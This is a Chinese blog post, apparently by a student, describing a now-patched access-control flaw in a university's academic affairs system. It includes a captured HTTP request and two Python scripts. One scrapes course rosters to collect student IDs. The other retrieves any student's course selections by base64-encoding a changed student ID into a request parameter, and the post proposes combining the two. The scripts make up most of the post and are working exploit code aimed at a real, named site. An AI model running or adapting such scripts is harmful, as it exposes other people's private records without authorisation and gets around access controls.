20 Jun 2019

[漏洞已修复]关于学校教务系统的白给漏洞的综合利用

众所周知,学校的教务系统没有钓鱼网站结实。

关于漏洞的发现

在使用教务系统时无意间按F12键并点击了检索,发现该处的代码中有学号,自然想到修改

修改为别人学号后可以查看别人的选课信息和成绩

显然,本地发送给服务器的查询请求中包含了需要查询的学号信息

至于学号的获取,网页右上角有“在线消息”,此处无需权限即可查看任意选课号下对应的选课名单(现在已修复为限制特定权限级别查询)

关于编写脚本获取选课名单

在线消息中输入任意选课号进行抓包,POST方法的HTTP请求包如下:

POST /taglib/DataTable.jsp?tableId=3241&type=skbjdm HTTP/1.1
Host: jwgl.ouc.edu.cn
Content-Length: 249
Cache-Control: max-age=0
Origin: http://jwgl.ouc.edu.cn
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/73.0.3683.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://jwgl.ouc.edu.cn/common/popmsg/popmsg.sendOnlineMessage.jsp
Accept-Language: zh-CN,zh;q=0.9
Cookie: LOGIN=; UM_distinctid=; SCREEN_NAME=; JSESSIONID=08DA7D4BDD750E8576F21CD46475F0E1.kingo
Connection: close

hidOption=&hidKey=&userId=&roletype=&jsrdm=&jsrmc=&nj=2019&yhdm=&emptyFlag=0&xm=&xn=2018&xq=2&style=SKBJDM&bmdm=&gradeController=on&nj2=2019&yxbdm=&sel_role=ADM000&xnxq=2018-2&sel_skbjdm=02003040&queryInfo=&_xxbt=&xxbt=&_xxnr=&xxnr=&fjmc=

保护个人隐私,相关个人信息未显示

经过试验发现,该请求包中的cookies只有Jsessionid有意义,POST的数据中xnxqsel_skbjdm对应学期选课号,于是编写脚本即可

值得注意的是此处应用了referer来(反初级爬虫?),需要在header中额外添加

#coding=utf-8
import requests
import re
url = "http://jwgl.ouc.edu.cn/taglib/DataTable.jsp?tableId=3241&type=skbjdm"
data = {
    "xnxq": "2019-0",
    "sel_skbjdm": "02003001"
}
cookie = {
	"JSESSIONID": "08DA7D4BDD750E8576F21CD46475F0E1.kingo"
}
refer = "http://jwgl.ouc.edu.cn/common/popmsg/popmsg.sendOnlineMessage.jsp"
s  = requests.Session()
s.headers.update({'referer': refer})
response = s.post(url, data = data, cookies = cookie)
content = response.text
str1 = re.findall(r"name='yhxh'  align='left' >(.+?)</td>", content)
print str1

关于按学号获取选课清单

直接检索个人选课信息,抓包发现请求的地址为http://jwgl.ouc.edu.cn/wsxk/xkjg.ckdgxsxdkchj_data.jsp?params=*****

后面的一串字符经过BASE64解码发现是xn=2018&xq=2&xh=(学号)

直接编写GET请求脚本即可

import requests
import base64
import re
url0 = 'http://jwgl.ouc.edu.cn/wsxk/xkjg.ckdgxsxdkchj_data.jsp?params='
name = 'xn=2018&xq=2&xh=(学号)'
url1 = base64.b64encode(name)
url = url0 + url1
s  = requests.Session()
cookie = {
	"JSESSIONID": "08DA7D4BDD750E8576F21CD46475F0E1.kingo"
}
refer = "http://jwgl.ouc.edu.cn/student/xkjg.wdkb.jsp?menucode=JW130416"
s.headers.update({'referer': refer})
r = s.get(url, cookies=cookie)
str0 = r.text
str1 = re.findall(r"name=\"skbjdm\" style=\"display: none\">(.+?)</td>", str0)
str2 = re.findall(r"right;\">(.+?)</td>", str0)
print str1
print str2

注:此漏洞已修复,现在修改学号GET选课清单已经失效

综合利用

把这两个脚本合在一起即可实现科学选课

但是漏洞修复了

想要再进行科学选课的话……

提权从入门到开除,请


Tags:
0 comments